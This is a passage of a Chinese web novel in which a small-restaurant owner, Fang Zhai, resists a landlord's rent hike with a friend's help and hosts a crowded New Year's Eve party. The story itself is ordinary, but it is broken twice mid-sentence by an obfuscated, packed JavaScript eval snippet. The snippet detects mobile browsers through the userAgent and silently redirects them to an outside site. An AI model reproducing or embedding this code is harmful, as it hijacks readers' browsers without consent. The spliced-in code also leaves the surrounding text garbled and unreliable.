幅三个人手拉手的画。他不知道小月以后会不会再画一幅画，画四个人。多出来的那一个，也许是他，也许是别人。但他希望，无论小月以后画几个人，她都能笑着画，像现在这样，在画纸的右下角写上“快乐”两个字。 回到店里的时候，雪已经停了。 地上积了厚厚一层，白茫茫的，路灯的光照在雪上，反射出一片柔和的白。整条街都安静了，连远处马路上的车声都变小了，像是被雪吸走了一样。 张建国还没走，他坐在店里等房寨回来。看到房寨进门，他站起来，表情有点紧张，像是在等一个判决。 “王丽怎么说？”他问。 “她说她想想。”房寨说。 张建国哦了一声，坐下来，脸上的表情看不出是失望还是松了口气。 “她还说了一句话。”房寨说。 张建国抬起头看着他。 “她说让你好好对小月。” 张建国的眼睛亮了一下，然后又暗了，然后又亮了。他的表情变了好几次，最后停在了一个房寨没见过的表情上——不是高兴，不是感动，是一种很复杂的、说不清楚的东西。 “我会的。”他说。只有三个字，但说得很用力，像是把全身的力气都用上了。 那天晚上关店之后，房寨没有马上回家。他站在店门口，看着街上的雪。雪已经停了，但风还在吹，把地上的雪吹起来，在空中打着旋，像无数细小的星星在跳舞。街上一个人都没有，只有路灯和雪，还有远处偶尔传来的一两声狗叫。 他掏出手机，给奶奶打了个电话。响了好几声才接，奶奶的声音从听筒里传出来，带着老家的口音，听起来很亲切。 “奶奶，你那边下雪了吗？” “下了，下了好大。”奶奶说，“你那边呢？” “也下了，不大，地上积了一层。” “那你多穿点衣服，别冻着了。” “嗯，穿了。”房寨说，“奶奶，过年我回去看你。” 电话那头沉默了一下。 “真的？”奶奶的声音有点抖。 “真的。” “好，好，我等你。”奶奶连说了两个好字，声音里带着笑。 挂了电话之后，房寨在雪地里站了一会儿。雪花又开始飘了，很小，很轻，落在他的头发上、肩膀上、睫毛上。凉凉的，但不冷。 他想，今年过年一定要回去。 不管店里多忙，都要回去。 奶奶一个人在老家，过年的时候别人家都是热热闹闹的，只有她一个人，守着电视机，看着春晚，等着零点的钟声敲响。他以前每年都说回去，每年都有事回不去。今年不一样了，今年他有自己的店了，时间自己说了算。 他要把店关了，门上贴一张纸条：“老板回家过年，初八营业。”然后在除夕之前赶回老家，陪奶奶吃年夜饭，陪她看春晚，陪她守岁。初一早上给她下一碗面，阳春面，清汤、细面、葱花、一滴猪油。她一定会说好吃。 房寨转身锁了门，骑着三轮车往回走。 三轮车的轮子在雪地上留下两道深深的车辙，从店门口一直延伸到远方，像两条平行线，永远不相交，但一直在一起。他骑得很慢，怕滑倒，车轮碾过积雪，发出沙沙的声音，像有人在耳边轻声说话。 城中村的巷子里，小橘猫蹲在楼道口等他。它浑身是雪，像一只白色的毛球。看到房寨来了，它站起来抖了抖身上的雪，喵喵叫着跑过来。 房寨把它抱起来，猫的体温很暖，隔着衣服都能感觉到。它的爪子踩在房寨的胸口上，一下一下的，像是在踩奶。 “走吧，上楼。”房寨说。 猫喵了一声，像是在说“好”。 31.第 31 章 十二月中旬的时候，房东来了。 房寨正在厨房里炒菜，听到外面有人喊“老板”，他探头一看，一个五十多岁的男人站在店门口，穿着黑色羽绒服，手里拿着一串钥匙。不是赵哥，是真正的房东，姓孙，房寨签合同的时候见过一面，之后再没来过。 孙房东在店里转了一圈，看看这里摸摸那里，最后在收银台前面停下来，用手指在台面上划了一下，看了看手指上的灰。 “生意不错啊。”孙房东说。 “还行。”房寨从厨房里出来，围裙还没解。 “这个月房租该交了。” “我知道，还有几天。” 孙房东点了点头，没走。他在店里找了个位置坐下来，看着墙上的菜单，又看了看坐满的客人。 “你这里生意这么好，我那个租金是不是该涨一涨了？” 房寨的手顿了一下。 涨房租。他之前想过这个可能性，但没想到来得这么快。合同签了一年，才干了不到半年，按理说不能涨。但房东要涨，你能怎么办？打官司？耗不起。不租了？店刚做起来，客人刚稳定下来，搬走了损失更大。 “孙哥，合同签了一年，租金说好的。”房寨尽量让自己的语气听起来平和。 “合同是合同，市场是市场。”孙房东靠在椅背上，“你看这条街，哪家店不比你的租金高？你旁边那个卖包子的，一个月四千。你这个才两千八，太低了。” 房寨没说话。他旁边那个卖包子的他认识，房租确实是四千，但人家的店面比他大一倍，位置也比他好，在主街上，不像他在巷子里。拿那个来比，不公平。 但他知道跟房东讲道理没用。 “你能涨多少？”房寨问。 “五千。” 房寨愣了一下。两千八到五千，涨了将近一倍。他每个月净赚一万五左右，房租从两千八涨到五千，多了两千二，净赚就变成一万三不到。加上水电食材人工都在涨，他的利润会被压得越来越薄。 “五千太高了。”房寨说，“我承受不了。” 孙房东看了他一眼，沉默了几秒。 “那四千五，不能再低了。” 房寨算了算，四千五比两千八多了一千七。一个月多一千七，一年就是两万多。他不是拿不出这个钱，但心里不舒服。不是因为钱的问题，是因为这种感觉——你辛辛苦苦把店做起来了，生意好了，就有人来割你的肉。不是割一刀，是每个月都来割一刀。 “我考虑一下。”房寨说。 “行，你考虑好了给我打电话。”孙房东站起来，拍了拍裤子，走了。 他走了之后，店里安静了几秒。然后客人们又开始说话了，声音渐渐大起来，恢复了之前的热闹。但房寨觉得那个热闹和他之间隔了一层什么东西，听不太清了。 张建国从厨房里出来，站在房寨旁边。 “他涨多少？” “四千五。” “妈的。”张建国骂了一句，声音不大，但房寨听到了。 “没事，我来想办法。”房寨说。 但他能有什么办法呢？要么接受，要么搬走。搬走的话，要找新店面，要装修，要重新积累客源，至少要折腾一两个月。这一两个月的损失，比涨的房租还多。 怎么算都是亏。 晚上关店之后，房寨一个人坐在店里，把账本翻来翻去地看。他算了一下，如果房租涨到四千五，他每个月还能净赚一万二左右。比之前少了两三千，但也不是活不下去。只是心里那道坎过不去——凭什么？凭什么他辛辛苦苦做起来的店，房东什么都不干，就涨房租分走一大块？ 他把这个事在群里说了一下。 “房东要涨房租，从两千八涨到四千五。大家觉得我是搬还是留？” 群里很快就炸了。 “四千五？太黑了吧！” “合同没到期凭什么涨房租？” “寨哥儿你别搬，你搬走了我们上哪吃去？” “要不我们众筹给你付房租？” “对，众筹！一人出一点，寨哥儿就不用搬了。” 房寨看着这些消息，心里暖了一下，但他不会要大家的钱。他的店，他的房租，凭什么让别人来付？ 阿坤给他打了个电话。 “寨哥，你别急，我认识一个做房产中介的朋友，帮你问问附近有没有合适的店面。” “谢了。” “谢什么谢，你的事就是我的事。” 阿坤挂了电话之后，房寨坐在椅子上发了会儿呆。他想起几个月前，他在夜市摆摊的时候，赵哥涨摊位费，他愁了好几天。现在开店了，房东涨房租，他又愁。好像不管他走到哪一步，总有人在他前面等着收割他。摆摊的时候是赵哥，开店的时候是孙房东。以后呢？如果他开了更大的店，是不是还有更多的人在等着？ 他忽然觉得有点累。不是身体的累，是心里的累。 这时候系统面板亮了一下。 【检测到宿主当前面临经营成本压力。】 【建议：提升店铺盈利能力，而非压缩成本。】 【新功能解锁：菜单定价优化。】 【根据当前食材成本、人工成本、房租成本，系统建议调整以下菜品价格：】 【煲仔饭：20元→22元】 【红烧牛肉面：18元→20元】 【羊肉汤：25元→28元】 【红烧肉：28元→30元】 房寨看着这些建议，皱了皱眉。 涨价。又是涨价。他之前涨过一次了，虽然客人们没说什么，但他自己心里不太舒服。他觉得自己的东西已经不算便宜了，再涨怕客人接受不了。 但系统说得有道理。房租涨了，他要么压缩成本，要么提升收入。压缩成本的话，食材质量会下降，服务质量会下降，最后受伤的还是客人。提升收入的话，涨价是最直接的。 他决定先不涨，再看看有没有别的办法。 第二天，阿坤带着他的中介朋友来了。 是个年轻姑娘，姓林，戴着眼镜，说话很快，噼里啪啦的像放鞭炮。她在附近转了一圈，拍了十几张照片，然后回来跟房寨分析。 “你这家店的位置不太好，在支路上，人流量有限。但你的客源比较稳定，大部分是老客人，对位置不敏感。我建议你在附近找一个人流量更大的位置，哪怕租金贵一点，但营业额能上去。” 她拿出手机，翻出几个店面的信息给房寨看。 “这个，主街上，离你现在的店大概三百米，月租六千，面积比你现在的店大一倍。这个，十字路口旁边，月租五千五，人流量很大，但店面小一些。这个，学校门口，月租五千，放学的时候人很多，但平时一般。” 房寨看着这几个选项，六千、五千五、五千，都比现在的四千五高。搬过去不但没省钱，还更贵了。 “有没有便宜一点的？”房寨问。 林姑娘想了想：“便宜的基本都在支路上，人流量跟你现在差不多，租金可能比你现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536521|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低一点，但搬家的成本算进去，不一定划算。” 房寨沉默了。 张建国在旁边听了一会儿，忽然开口了。 “寨哥，要不我去跟房东谈谈？” 房寨看了他一眼：“你谈什么？” “我以前在工地上干过，跟包工头谈过价钱。这种事就是谈，你让一步我让一步，最后找一个两边都能接受的数。” 房寨想了想，觉得可以试试。他自己不太会谈判，张建国以前在工地上干过，跟各种人打过交道，也许比他强。 下午，张建国给孙房东打了个电话，约他出来谈谈。 见面是在店里，孙房东来了，还是穿着那件黑色羽绒服，手里拿着那串钥匙。张建国给他倒了杯茶，请他坐下。 “孙哥，寨哥这个店你也看到了，生意是还行，但利润不高。”张建国说话不急不慢，像在跟工友聊天，“一个月净赚一万多，房租就要四千五，去掉人工、食材、水电，剩不了多少。” 孙房东喝着茶，没说话。 “你要是涨到四千五，寨哥可能就不租了。他搬走了，你这个店面不一定能马上租出去。空一个月你就少一个月房租，空两个月你就少两个月。你算算哪个划算？” 孙房东放下茶杯，看了张建国一眼。 “你在吓我？” “我不是吓你，我是跟你算账。”张建国笑了笑，“你涨到三千五，寨哥继续租，你每个月多收七百，一年就是八千四，稳稳当当的。你涨到四千五，他搬走了，你重新找租客，不一定能找到，找到了也不一定稳定。你选哪个？” 孙房东沉默了一会儿。 “三千八。”他说。 “三千五。”张建国说。 “三千六，不能再低了。” 张建国看了看房寨，房寨点了点头。 “行，三千六。”张建国说，“但合同要重签，签两年，这两年内不能再涨。” 孙房东想了想，答应了。 张建国当场写了一份新合同，两个人签了字，按了手印。孙房东拿着合同走了，走的时候脸上没什么表情，看不出是满意还是不满意。 张建国把合同递给房寨。 “寨哥，你看看，没问题就收好。” 房寨接过合同，翻了翻。三千六，比两千八多了八百，但比四千五少了九百。一年下来，比孙房东最初的要价少了一万多块钱。 “建国，谢谢你。”房寨说。 “谢什么谢，你帮了我那么多，我帮你这点忙算什么。”张建国摆了摆手，“再说了，我也是为了自己。你要是搬走了，我去哪吃饭？” 房寨笑了，张建国也笑了。 两个人站在店里笑了几声，然后各自去忙了。张建国回厨房切菜，房寨把合同收进抽屉里，锁好。 晚上小月来的时候，张建国把这个事跟她说了一下。小月不太懂房租是什么意思，但她听懂了“爸爸帮叔叔谈价钱了”，点了点头，说了一句“爸爸真厉害”。 张建国听到“爸爸真厉害”这四个字，脸上的笑藏都藏不住。他转过身去盛汤，房寨看到他嘴角翘得老高，眼睛都眯成了一条缝。 房寨站在厨房门口看着这一幕，忽然觉得，房租的事好像没那么重要了。三千六也好，四千五也好，钱的事总能想办法解决。但有些东西是钱买不到的——比如小月叫的那声“爸爸”，比如张建国帮他谈判时的那种仗义，比如群里那些人说要众筹帮他付房租时的那些话。 这些才是真正值钱的东西。 32.第 32 章 十二月三十一号，一年的最后一天。 房寨早上到店的时候，发现门口贴了一张红纸，上面写着“新年快乐”四个字，是张建国的字，比他写的好看多了。笔画有力，结构方正，一看就是练过的。房寨在门口站了一会儿，看着那四个字，忽然意识到一年就这么过去了。 这一年发生了太多事。年初的时候他还是个在公司写代码的程序员，每天吃蛋炒饭，每天晚上躺在床上算房贷。年中的时候他开始摆摊，被城管赶，在夜市里被赵哥涨摊位费。秋天的时候他开了这家店，二十平米，位置偏，装修简陋，但好歹是自己的。现在冬天了，店还在，生意还行，房租的问题暂时解决了。 他想起去年这个时候，他在出租屋里一个人跨年。买了一瓶啤酒，一包花生米，坐在塑料凳子上，看着手机上的跨年晚会。零点的时候窗外有人在放烟花，他拉开窗帘看了一眼，烟花在夜空中炸开，红的绿的黄的，很漂亮。然后他关上窗帘，把啤酒喝完，上床睡觉。 今年不一样了。 今年店里很热闹。张建国提议搞个跨年活动，房寨本来觉得没必要，一个小店搞什么跨年。但张建国说“热闹热闹嘛”，小赵也说“对嘛”，周阿姨也说“挺好的”，连小月都说“叔叔搞嘛”。房寨被一群人围着说，只好答应了。 张建国买了几串彩灯，挂在店门口，一闪一闪的，五颜六色，像小时候过年的样子。小赵吹了几个气球，绑在门框上，红色的、金色的、蓝色的，花花绿绿的。周阿姨从家里带了一个旧音响，放一些老歌，声音不大，但气氛一下就上来了。 下午的时候，房寨在群里发了一条消息：“今晚跨年，店里营业到凌晨，有免费饺子。欢迎大家来。” 群里又炸了。 “寨哥儿你终于开窍了！” “免费饺子？我今晚就住你店里了！” “从城北过来要一个小时，但我一定来！” “能不能带朋友？我朋友也想尝尝你的手艺。” 房寨回复：“能带，带多少都行。” 傍晚的时候，店里就开始上人了。比平时早了很多，平时六七点才来人，今天五点多就有人来了。不是来吃饭的，是来占位置的。几个人坐在店里，点了茶，慢慢喝，等着跨年。后面来的人没位置了，就站着，也不走，站在门口聊天。 六点多的时候，店里已经满了。小赵在外面招呼客人，嗓子又哑了。周阿姨在厨房帮忙包饺子，韭菜鸡蛋馅的，猪肉白菜馅的，包了满满几大盘，摞在案板上，像一座小山。张建国在灶台前煮饺子，锅里的水滚开着，饺子下进去，沉下去，又浮上来，白白胖胖的，在锅里翻滚。 房寨在炒菜。煲仔饭、炒河粉、红烧肉、糖醋排骨，一样一样地出，灶台上的火就没关过。他的额头上全是汗，但顾不上擦，袖子一抹继续干。 小月坐在她的椅子上写作业。今天作业不多，她很快就写完了，然后拿出彩笔开始画画。她画了一个圆桌，桌上摆满了菜，圆桌旁边坐了一圈人，有房寨、有张建国、有周阿姨、有小赵、有阿坤，还有她自己。每个人脸上都笑着，笑得很开心。画的右下角写着：新年快乐。 八点多的时候，阿坤来了。他带了几瓶啤酒和一袋零食，往桌上一放，像回自己家一样自然。他在店里转了一圈，跟每个人打招呼，然后走到厨房门口，靠在门框上看房寨炒菜。 “寨哥，你今天生意爆了啊。”阿坤说。 “还行。” “这哪是还行，这是爆了。”阿坤看着满屋子的人，“你数数多少人，四五十个有了吧？你这个小店都快撑破了。” 房寨笑了笑，没说话。他知道阿坤说得对，他的店太小了，二十平米，满打满坐能坐二十来个人。今天来了四五十个，大部分人站着，有的人端着碗站在门口吃，有的人坐在台阶上吃，有的人干脆蹲在路边吃。场面乱糟糟的，但很热闹，像赶集一样。 九点多的时候，饺子煮好了。张建国端着大盘子出来，一桌一桌地送。韭菜鸡蛋的、猪肉白菜的，热气腾腾的，蘸着醋和辣椒油吃，一口一个。客人们吃得满嘴流油，有人说“这个饺子比外面卖的好吃多了”，有人说“寨哥儿你干脆改行卖饺子算了”。 房寨听了，心想，卖饺子也不是不行。但他不会包饺子，今天的饺子是周阿姨包的，张建国煮的，他只是在旁边看了看。他包的饺子难看，馅老是漏出来，煮的时候皮开了，馅跑出来，成了一锅饺子汤。周阿姨笑了他半天。 十点多的时候，王丽给房寨打了个电话。 房寨走到店外面接的。外面很冷，风很大，吹得彩灯哗哗响。他缩着脖子，把手机贴在耳朵上。 “房寨。”王丽的声音比之前有力了一些，不用凑很近也能听清了。 “嗯，新年快乐。” “新年快乐。”王丽说，“小月在吗？” “在，她在画画。” “让她接一下电话。” 房寨走进店里，把手机递给小月。小月接过手机，叫了一声“妈妈”，然后走到角落里，背对着大家，小声地说话。听不清她在说什么，但能看到她的肩膀在轻轻抖动，不知道是冷还是哭。 张建国站在厨房门口，远远地看着小月，手里还拿着锅铲。他的表情很平静，但房寨注意到他的喉结动了一下，像是在咽什么。 小月说了大概十分钟，把手机还给房寨。 “叔叔，妈妈说她好多了，说再过一段时间可能就能出院了。” 房寨接过手机，看到屏幕上还亮着通话结束的画面。王丽说可能能出院了。可能。这个词让他心里悬了一下，不是肯定，是可能。可能能出，也可能不能出。但他没在小月面前说什么，只是点了点头，说“那太好了”。 十一点多的时候，店里开始倒计时了。 不知道是谁起的头，有人喊了一句“还有四十分钟”，然后大家就开始看手机。有人拿出手机看时间，有人说“我手机慢了”，有人说“我手机快了”，七嘴八舌的，乱成一团。小赵把音响的声音调大了，放的是一首节奏很快的歌，有人开始跟着哼，哼着哼着就变成了大合唱，整间店都是歌声。 房寨从厨房里出来，站在收银台旁边，看着满屋子的人。他的店很小，二十平米，挤了四五十个人，转个身都难。空气里弥漫着食物的味道、啤酒的味道、人身上的味道，混在一起，热烘烘的。灯光是暖黄色的，照在每个人脸上，每个人的脸都是红的，不知道是热的还是喝了酒。 这些人，有的是老客人，从摆摊的时候就跟着他了。有的是新客人，看了视频或者听了朋友推荐来的。有的是朋友的朋友，被拉来凑热闹的。他们来自不同的地方，做着不同的工作，有不同的故事，但此刻，他们都挤在他的小店里，等着新年的到来。 房寨忽然觉得鼻子有点酸。 不是难过，是那种“被这么多人围着”的感觉。他一个人太久了，久到他已经习惯了孤独。去年跨年他一个人在出租屋里喝啤酒吃花生米，前年跨年他在公司加班对着电脑屏幕发呆，大前年跨年他在大学宿舍里打游戏打到了凌晨。他从来没有被人群这样包围过，从来没有在跨年的时候不是一个人。 “寨哥儿！”有人喊了他一声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538645|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他回过神，看到阿坤举着啤酒瓶朝他走过来。 “来，喝一个！” 房寨从桌上拿了一瓶啤酒，跟阿坤碰了一下。瓶口发出清脆的响声，啤酒沫溢出来，流到手指上，凉凉的。 “寨哥儿，新年快乐！” “新年快乐。” 阿坤喝了一大口，抹了抹嘴，拍了拍房寨的肩膀。 “寨哥儿，你这一年变化太大了。”阿坤说，“去年你还在摆摊，今年你开店了。去年你一个人，今年你身边有这么多人了。你说，明年你会变成什么样？” 房寨想了想，说不知道。 他是真的不知道。一年前他不知道自己会摆摊，半年前他不知道自己会开店，三个月前他不知道自己会认识张建国和小月。一年后的事，他不敢想，也想不出来。 但他知道一件事——不管明年变成什么样，他都会站在灶台前面，把饭做好。 这就够了。 十一点五十九分的时候，所有人都在看手机。 有人开始倒数了。“十、九、八、七——”声音越来越大，越来越齐，整间店都在震。“六、五、四、三、二、一——” “新年快乐！” 声音炸开了，像一颗炸弹在店里爆炸。有人吹哨子，有人拍手，有人敲桌子，有人喊“寨哥儿新年快乐”，有人喊“老板发红包”，乱成一锅粥。小赵把音响开到最大，放的是一首很老的歌，房寨小时候听过，但想不起来叫什么名字了。 小月站在椅子上，手里拿着她的画，举得高高的。画上面那个圆桌和一圈人，在灯光下显得特别鲜艳。张建国站在她旁边，一只手扶着她，怕她摔下来。他的另一只手举着手机，在拍照。 房寨站在收银台后面，看着这一切。 他的眼睛有点湿。 不是因为难过，是因为他忽然觉得，自己好像不再是一个人了。 他有店，有客人，有张建国、小赵、周阿姨、阿坤，有小月，有王丽，有群里那几百个每天催他出摊的人。这些人，有的是他的员工，有的是他的朋友，有的是他的客人，有的像他的家人。他们从不同的地方来，因为一碗面、一份煲仔饭、一碗羊肉汤，聚在了这个二十平米的小店里。 房寨拿起啤酒瓶，喝了一大口。 啤酒有点苦，但咽下去之后，嘴里是甜的。 新年了。 新的一年，不知道会发生什么。也许房租还会涨，也许食材还会涨价，也许生意会变好，也许会变差。也许王丽会好起来，也许不会。也许张建国和小月会变成真正的一家人，也许不会。 但不管发生什么，他都会站在这里。 站在灶台前面，穿着那条旧围裙，握着那把旧锅铲，做他该做的事。 炒菜，煮面，炖汤。 把饭做好，端给每一个走进店里的人。 房寨把啤酒瓶放在桌上，转身回了厨房。 灶台上的火还开着，锅里的汤还在咕嘟咕嘟地冒泡。他拿起锅铲，开始炒今天最后一份炒河粉。 客人是一个年轻姑娘，戴着一副大眼镜，穿着白色羽绒服。她站在收银台前面，看着墙上的菜单，犹豫了很久，最后说了一句“来一份炒河粉，加牛肉”。 房寨点火，热锅，倒油。牛肉下锅滑熟，盛出来备用。鸡蛋炒散，下河粉，大火快炒。河粉在锅里翻腾，边缘开始变得焦黄。酱油沿着锅边淋下去，刺啦一声，香味炸开。 整个店里的人都在喊新年快乐，吵得要命。 但房寨只听到锅铲和铁锅碰撞的声音。 叮叮当当的，像新年的钟声。